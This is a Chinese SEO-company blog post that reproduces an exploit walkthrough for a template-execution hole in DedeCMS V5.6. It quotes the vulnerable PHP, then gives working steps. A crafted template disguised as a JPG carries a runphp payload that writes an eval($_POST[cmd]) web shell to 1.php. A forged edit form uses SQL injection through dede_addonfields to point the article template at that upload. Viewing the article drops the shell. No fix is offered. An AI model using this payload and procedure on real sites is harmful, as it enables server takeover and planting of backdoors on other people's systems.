小李SEO博客

网站优化服务

织梦cms网站管理系统模板执行漏洞

织梦DEDECMS网站管理系统模板执行漏洞一个不小心,你的服务器就会被黑客攻破,比如数据库密码过于简单,服务器密码过于简单,或者CMS系统漏洞。

下面是一个DEDE的模板执行漏洞。漏洞描述:Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

1、member/article_edit.php文件(注入):漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。//分析处理附加表数据$inadd_f = '';if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields{$addonfields = explode(';',$dede_addonfields);if(is_array($addonfields)){print_r($addonfields);foreach($addonfields as $v){if($v==''){continue;}$vs = explode(',',$v);if(!isset(${$vs[0]})){${$vs[0]} = '';}${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";echo $inadd_f;}}}…if($addtable!=''){$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//执行构造的sqlif(!$dsql->ExecuteNoneQuery($upQuery)){ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");exit();}}。

2、include/inc_archives_view.php:这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1){if(is_array($this->addTableRow)){$this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];$this->Fields['templet'] = $this->addTableRow['templet'];//取值$this->Fields['userip'] = $this->addTableRow['userip'];}$this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));$this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));$this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));}else{$this->Fields['templet'] = $this->Fields['redirecturl'] = '';}

//获得模板文件位置function GetTempletFile(){global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;$cid = $this->ChannelUnit->ChannelInfos['nid'];if(!emptyempty($this->Fields['templet'])){$filetag = MfTemplet($this->Fields['templet']);if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;}else{$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);}$tid = $this->Fields['typeid'];$filetag = str_replace('{cid}', $cid,$filetag);$filetag = str_replace('{tid}', $tid,$filetag);$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;if($cid=='spec'){if( !emptyempty($this->Fields['templet']) ){$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;}else{$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";}}if(!file_exists($tmpfile)){$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');}return $tmpfile;}

漏洞利用:1.上传一个模板文件:注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:uploads/userup/2/12OMX04-15A.jpg模板内容是(如果限制图片格式,加gif89a):{dede:name runphp='yes'}$fp = @fopen("1.php", 'a');@fwrite($fp, '<'.'?php'." ".'eval($_POST[cmd])'." ?"."> ");@fclose($fp);{/dede:name};2.修改刚刚发表的文章,查看源文件,构造一个表单:<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent"action="https://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();"><input type="hidden" name="dopost" value="save" /><input type="hidden" name="aid" value="2" /><input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" /><input type="hidden" name="channelid" value="1" /><input type="hidden" name="oldlitpic" value="" /><input type="hidden" name="sortrank" value="1275972263" /><div id="mainCp"><h3 class="meTitle"><strong>修改文章</strong></h3><div class="postForm"><label>标题:</label><input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/><label>标签TAG:</label><input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)<label>作者:</label><input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/><label>隶属栏目:</label><select name='typeid' size='1'><option value='1' class='option3' selected=''>测试栏目</option></select> <span style="color:#F00">*</span>(不能选择带颜色的分类)<label>我的分类:</label><select name='mtypesid' size='1'><option value='0' selected>请选择分类...</option><option value='1' class='option3' selected>hahahha</option></select><label>信息摘要:</label><textarea name="description" id="description">1111111</textarea>

(内容的简要说明)<label>缩略图:</label><input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/><input type='text' name='templet'value="../ uploads/userup/2/12OMX04-15A.jpg"><input type='text' name='dede_addonfields'value="templet,htmltext;">(这里构造)</div><!-- 表单操作区域 --><h3 class="meTitle">详细内容</h3><div class="contentShow postForm"><input type="hidden" id="body" name="body" value="<div><a href="https://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="/anquan/UploadFiles_3093/201008/20100819191753331.jpg" width="1010" height="456" /></a></div><p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%"height="350" frameborder="0" scrolling="no"></iframe><label>验证码:</label><input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' /><img src="https://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle"style="cursor:pointer" onclick="this.src=this.src+'?'" /><button class="button2" type="submit">提交</button><button class="button2 ml10" type="reset" onclick="location.reload();">重置</button></div></div></form>提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:假设刚刚修改的文章的aid为2,则我们只需要访问:https://127.0.0.1/dede/plus/view.php?aid=2即可以在plus目录下生成小马:1.php


上一篇:dedecms友情连接不能更改报错解决办法 下一篇:织梦cms首页文章列表实现按照digg数量排序方法
织梦cms相关文章阅读
  • 织梦cms自定义字段输出文字或图片为空解决方法

    小李网络公司介绍织梦cms自定义字段输出文字或图片为空知识,包括自定义字段怎么设置自定义字段什么意思字段长度用户可以自定义的是自定义字段是什么wordpress自定义字段自定义数据字段自...

  • 织梦cms安全性提高设置教程

    小李网络公司介绍织梦cms安全性提高设置教程知识,包括日系车安全性真的很差吗面包车安全性为什么差安全系数差的车排名起亚焕驰安全性真的那么低吗日系车真的不耐撞吗k2安全性很差吗....

  • 织梦cms模板内容页实现数组列表信息显示

    小李网络公司介绍织梦cms模板内容页实现数组列表信息显示知识,包括织梦网站免费模板织梦cms建站教程织梦 建站dedecms内容粘贴dedecms模板站dedecms内容关键词dedecms内容页代码dedecms文章内容页d...

  • 织梦cms程序V5.5正向整合Discuz6.0方法

    小李网络公司介绍织梦cms程序V5.5正向整合Discuz6.0方法知识,包括DEDECMS V5.5 怎么正向整合 Discuz 6.0-DEDECMS-PHP中文网,dedecms和discuz的整合问题-CSDN论坛....

  • 织梦cms专题模板应用分析及解决方案

    小李网络公司介绍织梦cms专题模板应用分析及解决方案知识,包括织梦网站免费模板织梦cms建站教程免费织梦手机模板dede模板网dedecms模板站dedecms手册专题dedecms专题页面dede商品模板下载....

  • 织梦cms文章采集自动生成摘要和关键字方法

    小李网络公司介绍织梦cms文章采集自动生成摘要和关键字方法知识,包括自动生成目录没有摘要wps怎么自动生成摘要word自动生成摘要word2010怎么自动生成摘要自动生成文本摘要摘要生成摘要跟关...

  • 织梦cms属性默认加粗解决方法

    小李网络公司介绍织梦cms属性默认加粗解决方法知识,包括织梦cms建站教程织梦dedecms教程dedecms织梦系统dede织梦仿站表内加粗html代码加粗织梦默认模板管理dedecms首页织梦cms移动/...

  • 织梦cms网站问答伪静态的实现方法

    小李网络公司介绍织梦cms网站问答实现伪静态知识.包括Dedecms(织梦)完美实现伪静态的方法_织梦58,nginx实现伪静态nginx 伪静态PHP伪静态dede改成整站静态aspcms伪静态dedecms模板绑域名伪静态html织梦...

  • 织梦cms中LOOP标签循环出arcurl标签

    小李网络公司介绍织梦cms中LOOP标签循环出arcurl标签知识,包括织梦DEDECMS网站中LOOP标签循环出arcurl标签怎么获得链接,a标签的值怎么获取html循环怎么获取a标签的内容for循环标签获取标签里的文本...

  • 织梦cms多站点数据库SQL互相调用方法

    小李网络公司介绍织梦dedecms多站点数据库SQL互相调用方法知识,包括java怎么调用另一个类的方法java怎么调用类方法java方法调用过程java通过类名调用方法站点推广的方法有哪些java直接调用方法...

  • 织梦cms会员空间更换模板教程

    小李网络公司介绍织梦cms会员空间更换模板教程知识,包括qq超级会员有什么功能qq会员可以无痕浏览空间吗dedecms会员页面织梦会员状态登录dedecms会员入住织梦做一个会员申请功能织梦会员功能...

  • 织梦cms为后台自定义菜单的完整方法

    小李网络公司介绍织梦cms为后台自定义菜单的完整方法知识,包括dedecms四级菜单织梦源码栏目菜单怎么改dedecms主菜单织梦二级菜单dedecms菜单空白dedecms栏目菜单....

SEO公司排名
 
QQ在线咨询
SEM竞价推广
137-1296-7640
SEO优化外包
137-1296-7640